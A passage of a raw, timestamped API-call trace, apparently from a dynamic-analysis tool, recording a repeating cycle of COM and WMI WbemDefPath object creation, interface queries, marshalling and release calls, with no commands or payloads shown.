Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x439e2d0 | out: pCid=0x439e2d0*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0127.027] WbemDefPath:IUnknown:Release (This=0x4f35e88) returned 0x3 [0127.027] CoGetContextToken (in: pToken=0x439e328 | out: pToken=0x439e328) returned 0x0 [0127.027] CoGetContextToken (in: pToken=0x439e73c | out: pToken=0x439e73c) returned 0x0 [0127.027] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da660, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439e7bc | out: ppvObject=0x439e7bc*=0x0) returned 0x80004002 [0127.027] WbemDefPath:IUnknown:Release (This=0x4da660) returned 0x2 [0127.027] WbemDefPath:IUnknown:Release (This=0x4da660) returned 0x1 [0127.027] SetEvent (hEvent=0x4dc) returned 1 [0127.030] CoGetClassObject (in: rclsid=0x4f1c3dc*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x439ebb8 | out: ppv=0x439ebb8*=0x4f35e68) returned 0x0 [0127.030] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f35e68, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x439edd0 | out: ppvObject=0x439edd0*=0x0) returned 0x80004002 [0127.030] WbemDefPath:IClassFactory:CreateInstance (in: This=0x4f35e68, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439eddc | out: ppvObject=0x439eddc*=0x4da6d0) returned 0x0 [0127.030] WbemDefPath:IUnknown:Release (This=0x4f35e68) returned 0x0 [0127.030] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da6d0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439e9fc | out: ppvObject=0x439e9fc*=0x4da6d0) returned 0x0 [0127.030] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da6d0, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x439e9b0 | out: ppvObject=0x439e9b0*=0x0) returned 0x80004002 [0127.030] WbemDefPath:IUnknown:AddRef (This=0x4da6d0) returned 0x3 [0127.030] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da6d0, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x439e30c | out: ppvObject=0x439e30c*=0x0) returned 0x80004002 [0127.030] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da6d0, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x439e2bc | out: ppvObject=0x439e2bc*=0x0) returned 0x80004002 [0127.030] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da6d0, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439e2c8 | out: ppvObject=0x439e2c8*=0x4f35e98) returned 0x0 [0127.030] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x4f35e98, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x439e2d0 | out: pCid=0x439e2d0*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0127.030] WbemDefPath:IUnknown:Release (This=0x4f35e98) returned 0x3 [0127.030] CoGetContextToken (in: pToken=0x439e328 | out: pToken=0x439e328) returned 0x0 [0127.031] CoGetContextToken (in: pToken=0x439e73c | out: pToken=0x439e73c) returned 0x0 [0127.031] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da6d0, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439e7bc | out: ppvObject=0x439e7bc*=0x0) returned 0x80004002 [0127.031] WbemDefPath:IUnknown:Release (This=0x4da6d0) returned 0x2 [0127.031] WbemDefPath:IUnknown:Release (This=0x4da6d0) returned 0x1 [0127.031] SetEvent (hEvent=0x4e0) returned 1 [0127.035] CoGetClassObject (in: rclsid=0x4f1c3dc*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x439ebb8 | out: ppv=0x439ebb8*=0x4f35ef8) returned 0x0 [0127.035] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f35ef8, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x439edd0 | out: ppvObject=0x439edd0*=0x0) returned 0x80004002 [0127.035] WbemDefPath:IClassFactory:CreateInstance (in: This=0x4f35ef8, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439eddc | out: ppvObject=0x439eddc*=0x4da740) returned 0x0 [0127.035] WbemDefPath:IUnknown:Release (This=0x4f35ef8) returned 0x0 [0127.035] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da740, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439e9fc | out: ppvObject=0x439e9fc*=0x4da740) returned 0x0 [0127.036] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da740, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x439e9b0 | out: ppvObject=0x439e9b0*=0x0) returned 0x80004002 [0127.036] WbemDefPath:IUnknown:AddRef (This=0x4da740) returned 0x3 [0127.036] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da740, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x439e30c | out: ppvObject=0x439e30c*=0x0) returned 0x80004002 [0127.036] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da740, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x439e2bc | out: ppvObject=0x439e2bc*=0x0) returned 0x80004002 [0127.036] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da740, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439e2c8 | out: ppvObject=0x439e2c8*=0x4f35f08) returned 0x0 [0127.036] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x4f35f08, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x439e2d0 | out: pCid=0x439e2d0*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0127.036] WbemDefPath:IUnknown:Release (This=0x4f35f08) returned 0x3 [0127.036] CoGetContextToken (in: pToken=0x439e328 | out: pToken=0x439e328) returned 0x0 [0127.036] CoGetContextToken (in: pToken=0x439e73c | out: pToken=0x439e73c) returned 0x0 [0127.036] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da740, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439e7bc | out: ppvObject=0x439e7bc*=0x0) returned 0x80004002 [0127.036] WbemDefPath:IUnknown:Release (This=0x4da740) returned 0x2 [0127.036] WbemDefPath:IUnknown:Release (This=0x4da740) returned 0x1 [0127.036] SetEvent (hEvent=0x4e4) returned 1 [0127.038] CoGetClassObject (in: rclsid=0x4f1c3dc*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x439ebb8 | out: ppv=0x439ebb8*=0x4f35ef8) returned 0x0 [0127.038] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f35ef8, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x439edd0 | out: ppvObject=0x439edd0*=0x0) returned 0x80004002 [0127.038] WbemDefPath:IClassFactory:CreateInstance (in: This=0x4f35ef8, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439eddc | out: ppvObject=0x439eddc*=0x4da7b0) returned 0x0 [0127.038] WbemDefPath:IUnknown:Release (This=0x4f35ef8) returned 0x0 [0127.038] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da7b0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439e9fc | out: ppvObject=0x439e9fc*=0x4da7b0) returned 0x0 [0127.038] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da7b0, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x439e9b0 | out: ppvObject=0x439e9b0*=0x0) returned 0x80004002 [0127.038] WbemDefPath:IUnknown:AddRef (This=0x4da7b0) returned 0x3 [0127.038] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da7b0, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x439e30c | out: ppvObject=0x439e30c*=0x0) returned 0x80004002 [0127.038] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da7b0, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x439e2bc | out: ppvObject=0x439e2bc*=0x0) returned 0x80004002 [0127.038] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da7b0, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439e2c8 | out: ppvObject=0x439e2c8*=0x4f35f18) returned 0x0 [0127.038] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x4f35f18, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x439e2d0 | out: pCid=0x439e2d0*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0127.038] WbemDefPath:IUnknown:Release (This=0x4f35f18) returned 0x3 [0127.039] CoGetContextToken (in: pToken=0x439e328 | out: pToken=0x439e328) returned 0x0 [0127.039] CoGetContextToken (in: pToken=0x439e73c | out: pToken=0x439e73c) returned 0x0 [0127.039] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da7b0, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439e7bc | out: ppvObject=0x439e7bc*=0x0) returned 0x80004002 [0127.039] WbemDefPath:IUnknown:Release (This=0x4da7b0) returned 0x2 [0127.039] WbemDefPath:IUnknown:Release (This=0x4da7b0) returned 0x1 [0127.039] SetEvent (hEvent=0x4e8) returned 1 [0127.040] CoGetClassObject (in: rclsid=0x4f1c3dc*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x439ebb8 | out: ppv=0x439ebb8*=0x4f35ef8) returned 0x0 [0127.041] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f35ef8, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x439edd0 | out: ppvObject=0x439edd0*=0x0) returned 0x80004002 [0127.041] WbemDefPath:IClassFactory:CreateInstance (in: This=0x4f35ef8, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439eddc | out: ppvObject=0x439eddc*=0x4da820) returned 0x0 [0127.041] WbemDefPath:IUnknown:Release (This=0x4f35ef8) returned 0x0 [0127.041] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da820, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439e9fc | out: ppvObject=0x439e9fc*=0x4da820) returned 0x0 [0127.041] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da820, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x439e9b0 | out: ppvObject=0x439e9b0*=0x0) returned 0x80004002 [0127.041] WbemDefPath:IUnknown:AddRef (This=0x4da820) returned 0x3 [0127.041] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da820, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x439e30c | out: ppvObject=0x439e30c*=0x0) returned 0x80004002 [0127.041] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da820, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x439e2bc | out: ppvObject=0x439e2bc*=0x0) returned 0x80004002 [0127.041] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da820, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439e2c8 | out: ppvObject=0x439e2c8*=0x4f35f28) returned 0x0 [0127.041] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x4f35f28, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x439e2d0 | out: pCid=0x439e2d0*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0127.041] WbemDefPath:IUnknown:Release (This=0x4f35f28) returned 0x3 [0127.041] CoGetContextToken (in: pToken=0x439e328 | out: pToken=0x439e328) returned 0x0 [0127.041] CoGetContextToken (in: pToken=0x439e73c | out: pToken=0x439e73c) returned 0x0 [0127.041] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da820, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439e7bc | out: ppvObject=0x439e7bc*=0x0) returned 0x80004002 [0127.041] WbemDefPath:IUnknown:Release (This=0x4da820) returned 0x2 [0127.041] WbemDefPath:IUnknown:Release (This=0x4da820) returned 0x1 [0127.041] SetEvent (hEvent=0x4ec) returned 1 [0127.044] CoGetClassObject (in: rclsid=0x4f1c3dc*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x439ebb8 | out: ppv=0x439ebb8*=0x4f35f88) returned 0x0 [0127.045] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f35f88, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x439edd0 | out: ppvObject=0x439edd0*=0x0) returned 0x80004002 [0127.045] WbemDefPath:IClassFactory:CreateInstance (in: This=0x4f35f88, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439eddc | out: ppvObject=0x439eddc*=0x4da890) returned 0x0 [0127.045] WbemDefPath:IUnknown:Release (This=0x4f35f88) returned 0x0 [0127.045] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da890, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439e9fc | out: ppvObject=0x439e9fc*=0x4da890) returned 0x0 [0127.045] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da890, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x439e9b0 | out: ppvObject=0x439e9b0*=0x0) returned 0x80004002 [0127.045] WbemDefPath:IUnknown:AddRef (This=0x4da890) returned 0x3 [0127.045] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da890, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x439e30c | out: ppvObject=0x439e30c*=0x0) returned 0x80004002 [0127.045] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da890, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x439e2bc | out: ppvObject=0x439e2bc*=0x0) returned 0x80004002 [0127.045] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da890, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439e2c8 | out: ppvObject=0x439e2c8*=0x4f35f98) returned 0x0 [0127.045] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x4f35f98, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x439e2d0 | out: pCid=0x439e2d0*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0127.045] WbemDefPath:IUnknown:Release (This=0x4f35f98) returned 0x3 [0127.045] CoGetContextToken (in: pToken=0x439e328 | out: pToken=0x439e328) returned 0x0 [0127.045] CoGetContextToken (in: pToken=0x439e73c | out: pToken=0x439e73c) returned 0x0 [0127.045] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da890, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439e7bc | out: ppvObject=0x439e7bc*=0x0) returned 0x80004002 [0127.046] WbemDefPath:IUnknown:Release (This=0x4da890) returned 0x2 [0127.046] WbemDefPath:IUnknown:Release (This=0x4da890) returned 0x1 [0127.046] SetEvent (hEvent=0x4f0) returned 1 [0127.072] CoGetClassObject (in: rclsid=0x4f1c3dc*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x439ebb8 | out: ppv=0x439ebb8*=0x4f35fb8) returned 0x0 [0127.072] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f35fb8, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x439edd0 | out: ppvObject=0x439edd0*=0x0) returned 0x80004002 [0127.072] WbemDefPath:IClassFactory:CreateInstance (in: This=0x4f35fb8, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439eddc | out: ppvObject=0x439eddc*=0x4da900) returned 0x0 [0127.072] WbemDefPath:IUnknown:Release (This=0x4f35fb8) returned 0x0 [0127.072] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da900, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439e9fc | out: ppvObject=0x439e9fc*=0x4da900) returned 0x0 [0127.072] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da900, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x439e9b0 | out: ppvObject=0x439e9b0*=0x0) returned 0x80004002 [0127.073] WbemDefPath:IUnknown:AddRef (This=0x4da900) returned 0x3 [0127.073] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da900, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x439e30c | out: ppvObject=0x439e30c*=0x0) returned 0x80004002 [0127.073] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da900, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x439e2bc | out: ppvObject=0x439e2bc*=0x0) returned 0x80004002 [0127.073] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da900, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), 